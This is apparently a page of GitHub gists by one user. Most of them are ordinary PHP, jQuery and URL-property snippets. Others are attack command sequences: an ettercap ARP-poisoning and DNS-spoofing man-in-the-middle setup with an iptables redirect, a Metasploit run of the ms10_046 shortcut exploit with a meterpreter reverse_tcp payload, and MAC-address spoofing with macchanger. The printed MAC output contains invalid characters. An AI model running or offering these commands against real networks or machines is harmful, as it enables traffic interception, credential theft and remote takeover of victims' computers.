This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://www.test.com:8082/index.php#tab2?foo=123 | |
| Property Result | |
| -------------------------------------------------------------------------- | |
| window.location.host www.test.com:8082 | |
| window.location.hostname www.test.com | |
| window.location.port 8082 | |
| window.location.protocol http |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $sql = " | |
| DELETE a, b | |
| FROM a, b | |
| WHERE a.id = 'target' | |
| AND a.id = b.id; | |
| "; | |
| $result = mysql_query($sql); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if(!empty($sql2)){ | |
| if (mysql_query('BEGIN')) { | |
| if (mysql_query($sql1) && | |
| mysql_query($sql2)) | |
| $result = mysql_query('COMMIT'); // both queries looked OK, save | |
| else | |
| mysql_query('ROLLBACK'); // problems with queries, no changes | |
| } | |
| }else{ | |
| $result = mysql_query($sql1); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if ($('input[type="text"]').hasAttr('data-master')) { // Yay o nay? | |
| alert('Yay! =D'); | |
| } else { | |
| alert('Nay. =('); | |
| } | |
| /* * * * * * * * * * * * * * * * * * * * * * * * * * * */ | |
| jQuery.fn.hasAttr = function(selector) { | |
| var attr = $(this).attr(selector); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // main file : index.html --------------------------------------------------------------- | |
| <div id="response-div"></div> | |
| <script type="text/javascript"> | |
| function doJavaScriptInAjax() { | |
| $.ajax({ | |
| url: "ajax.html", | |
| context: document.body, | |
| success: function(responseText) { | |
| $("#response-div").html(responseText); | |
| $("#response-div").find("script:not([src])").each(function(i) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $('.menu li').not(':has(ul)').click(function(){ | |
| alert('ok'); | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| locate etter.dns | |
| service apache2 start | |
| echo 1 > /proc/sys/net/ipv4/ip_forward | |
| iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-por 10000 | |
| ettercap -T -q -w dump -i wlan0 -M ARP // // output: | |
| ettercap -T -q -i wlan0 -P dns_spoof -M arp // // |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #https://sathisharthars.wordpress.com/2014/05/21/hack-windows-7-with-metasploit-using-kali-linux/ | |
| root@boy3vil:~# msfconsole | |
| #msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader | |
| #msf > set payload windows/meterpreter/reverse_tcp | |
| #msf > show options | |
| #msf > set SRVHOST 192.168.31.20 | |
| #msf > set LHOST 192.168.31.20 | |
| #msf > show options | |
| #msf > exploit |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| root@boy3vil:~# ifconfig wlan0 down | |
| root@boy3vil:~# macchanger -r wlan0 | |
| Permanent MAC: 90:f6:62:13:39:f0 (unknown) | |
| Current MAC: G8:03:25:49:2c:00 (unknown) | |
| New MAC: f6:G0:e3:27:47:56 (unknown) | |
| root@boy3vil:~# ifconfig wlan0 up |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| root@boy3vil:~# cd .config/ | |
| root@boy3vil:~/.config# mv monitors.xml monitorx.xml.bkp | |
| root@boy3vil:~/.config# exit | |
| root@boy3vil:~/.config# reboot | |